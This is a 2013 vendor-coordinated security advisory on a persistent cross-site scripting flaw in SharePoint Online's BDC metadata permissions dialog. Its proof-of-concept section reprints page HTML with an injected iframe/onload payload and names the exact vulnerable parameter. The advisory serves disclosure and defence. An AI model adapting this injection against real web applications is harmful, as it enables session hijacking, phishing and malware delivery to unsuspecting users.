Microsoft Sharepoint (Cloud) Persistent Script Insertion

`  
Title:  
======  
Microsoft SharePoint (Cloud) - Persistent Exception-Handling Web  
Vulnerability  
  
  
Date:  
=====  
2013-06-14  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=812  
  
Microsoft Security Response Center (MSRC) ID: 14096  
Microsoft Security Response Center (MSRC) MANAGER: JT  
  
MSRC Security Bulletin Acknowledgment: June  
  
  
VL-ID:  
=====  
812  
  
  
Common Vulnerability Scoring System:  
====================================  
5.7  
  
  
Introduction:  
=============  
Microsoft SharePoint is a Web application platform developed by  
Microsoft. First launched in 2001, SharePoint has historically been  
associated with intranet content management and document management, but  
recent versions have significantly broader capabilities.  
Microsoft has two versions of SharePoint available at no cost, but it  
sells premium editions with additional functionality, and  
provides a cloud service edition as part of their Office 365 platform  
(previously BPOS). The product is also sold through a cloud  
model by many third-party vendors.  
  
SharePoint comprises a multipurpose set of Web technologies backed by a  
common technical infrastructure. By default, SharePoint has a  
Microsoft Office-like interface, and it is closely integrated with the  
Office suite. The web tools are designed to be usable by non-  
technical users. SharePoint can be used to provide intranet portals,  
document & file management, collaboration, social networks, extranets,  
websites, enterprise search, and business intelligence. It also has  
system integration, process integration, and workflow automation  
capabilities.  
  
Enterprise application software (e.g. ERP or CRM packages) often provide  
some SharePoint integration capability, and SharePoint also  
incorporates a complete development stack based on web technologies and  
standards-based APIs. As an application platform, SharePoint provides  
central management, governance, and security controls for implementation  
of these requirements. The SharePoint platform integrates directly  
into IIS - enabling bulk management, scaling, and provisioning of  
servers, as is often required by large organizations or cloud hosting  
providers.  
In 2008, the Gartner Group put SharePoint in the`leaders` quadrant in  
three of its Magic Quadrants (for search, portals, and enterprise content  
management). SharePoint is used by 78% of Fortune 500 companies[citation  
needed]. Between 2006 to 2011, Microsoft sold over 36.5 million user  
licenses[citation needed].  
  
(Copy of the Homepage: http://en.wikipedia.org/wiki/Microsoft_SharePoint )  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered a persistent web  
vulnerability in the official Microsoft Sharepoint Online (cloud-based)  
application.  
  
  
Report-Timeline:  
================  
2013-02-01: Researcher Notification & Coordination  
2013-02-06: Vendor Notification (Microsoft Security Response Center - MSRC)  
2013-02-07: Vendor Response/Feedback (Microsoft Security Response Center  
- MSRC)  
2013-06-10: Vendor Fix/Patch (Microsoft Development Team)  
2013-06-14: Public Disclosure (Vulnerability Laboratory)  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Microsoft Corp.  
Product: Sharepoint Online (Cloud-Based) - Office 365  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
High  
  
  
Details:  
========  
A persistent input validation vulnerability is detected in the official  
Microsoft Sharepoint Online (cloud-based) application.  
The vulnerability allows remote attackers to inject own malicious script  
code in the vulnerable module on application side (persistent).  
  
The vulnerability is located in the `Sharepoint Online Cloud Service`  
section when processing to request via the `Berechtigungen für den  
Metadatenspeicher festlegen` module the bound vulnerable  
ms-descriptionText >  
ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBody  
MainSection_ValSummary application parameter. The persistent injected  
script code will be executed directly out of the `invalid BDC  
Übereinstimmung` web application exception-handling.  
  
The vulnerability can be exploited with a low (restricted) privilege  
application user account and low or medium required user interaction.  
Successful exploitation of the vulnerability result in persistent  
session hijacking, persistent phishing, stable external redirect, stable  
external malware loads and persistent vulnerable module context  
manipulation.  
  
Vulnerable Service(s):  
[+] Microsoft - Sharepoint Online (cloud-based)  
  
Vulnerable Module(s):  
[+] Berechtigungen für den Metadatenspeicher festlegen - BDC  
Metadatenspeicher zuweisen  
  
Vulnerable Parameter(s):  
[+] ms-descriptionText >  
ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_ValSummary  
  
Affected Module(s):  
[+] BDC Übereinstimmung > Exception Handling  
  
  
Proof of Concept:  
=================  
The persistent input validation web vulnerability can be exploited by  
remote attackers with low required user interaction and low privileged  
sharepoint cloud application user account. For demonstration or  
reproduce ...  
  
Review: Berechtigungen für den Metadatenspeicher festlegen - Summery >  
BDC Übereinstimmung > Exception  
  
<table class="propertysheet" border="0" cellpadding="0" cellspacing="0"  
width="100%"> <tbody><tr> <td class="ms-descriptionText">  
<span  
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelMessage"  
class="ms-descriptionText"></span> </td>  
</tr> <tr> <td class="ms-error"><span  
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelErrorMessage">  
Fehler beim Versuch, 'IMetadataCatalog' eine Zugriffssteuerungsliste mit  
dem  
Namen 'ApplicationRegistry' zuzuweisen. Mindestens ein Benutzer oder  
eine Gruppe in der Zugriffssteuerungsliste muss über das Recht  
'SetPermissions' verfügen, um das Erstellen eines nicht verwaltbaren  
Objekts zu verhindern.</span></td> </tr> <tr> <td  
class="ms-descriptionText">  
<div  
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_ValSummary"  
style="color:Red;">Mindestens ein Fehler auf der Seite.  
Beheben Sie Folgendes, bevor Sie fortfahren:<ul><li>Es wurde keine  
exakte Übereinstimmung  
für <iframe  
src="TA_ManageBDCPermissions_data/a.txt">%20%20%20%20"><iframe  
src=http://www.vulnerability-lab.com onload=alert("VL") <<iframe  
src=a>%20%20%20%20"><iframe src=http://www.vulnerability-lab.com  
onload=alert("VL") <  
gefunden.</li></ul>  
</div> </td> </tr> </table>  
<table border="0" cellspacing="0" cellpadding="0" width="100%"  
class="ms-authoringcontrols">  
<tr>  
<td>  
----------  
<table class="propertysheet" border="0" cellpadding="0" cellspacing="0"  
width="100%"> <tbody><tr> <td class="ms-descriptionText">  
<span  
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelMessage"  
class="ms-descriptionText"></span> </td>  
</tr> <tr> <td class="ms-error"><span  
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_LabelErrorMessage">  
Fehler beim Versuch, 'IMetadataCatalog' eine Zugriffssteuerungsliste mit  
dem  
Namen 'ApplicationRegistry' zuzuweisen. Mindestens ein Benutzer oder  
eine Gruppe in der Zugriffssteuerungsliste muss über das Recht  
'SetPermissions' verfügen, um das Erstellen eines nicht verwaltbaren  
Objekts zu verhindern.</span></td> </tr> <tr> <td  
class="ms-descriptionText">  
<div  
id="ctl00_PlaceHolderDialogBodySection_PlaceHolderDialogBodyMainSection_ValSummary"  
style="color:Red;">Mindestens ein Fehler auf der Seite.  
Beheben Sie Folgendes, bevor Sie fortfahren:<ul><li>Es wurde keine  
exakte Übereinstimmung  
für <iframe  
src="TA_ManageBDCPermissions_data/a.txt">%20%20%20%20"><[PERSISTENT  
INJECTED SCRIPT CODE!]) <<[PERSISTENT INJECTED SCRIPT CODE!]>  
%20[PERSISTENT INJECTED SCRIPT CODE!]) <  
gefunden.</li></ul>  
</div> </td> </tr> </table>  
<table border="0" cellspacing="0" cellpadding="0" width="100%"  
class="ms-authoringcontrols">  
<tr>  
<td>  
  
--- Exception Handling (DE) ---  
Sie können Administratoren des BDC-Metadatenspeichers zuweisen, indem  
Sie unten Berechtigungen festlegen.  
Fehler beim Versuch, 'IMetadataCatalog' eine Zugriffssteuerungsliste mit  
dem Namen 'ApplicationRegistry' zuzuweisen.  
Mindestens ein Benutzer oder eine Gruppe in der Zugriffssteuerungsliste  
muss über das Recht 'SetPermissions' verfügen,  
um das Erstellen eines nicht verwaltbaren Objekts zu verhindern.  
Mindestens ein Fehler auf der Seite. Beheben Sie Folgendes,  
bevor Sie fortfahren: Es wurde keine exakte Übereinstimmung für ...  
[Injected Context] ... gefunden/festgestellt.  
Sie können Administratoren des BDC-Metadatenspeichers zuweisen, indem  
Sie unten Berechtigungen festlegen  
---  
  
Note: (US)  
After you’ve added your domain name to Office 365 to use with SharePoint  
Online and Lync Online, you can create email addresses,  
Lync Online accounts, and distribution groups that use your custom  
domain name. You can also use your domain name for a public  
website hosted on SharePoint Online but there are Use SharePoint Online  
on a custom domain together with other services.  
  
  
Reference(s):  
https://benjamin23-admin.sharepoint.com/default.aspx  
https://benjamin23-admin.sharepoint.com/_layouts/bdc/TA_ViewBDCApplication.aspx  
  
  
Risk:  
=====  
The security risk of the of the persistent input validation  
vulnerability is estimated as high(-) because of the location in the  
core exception-handling.  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri  
([email protected])  
  
  
Disclaimer:  
===========  
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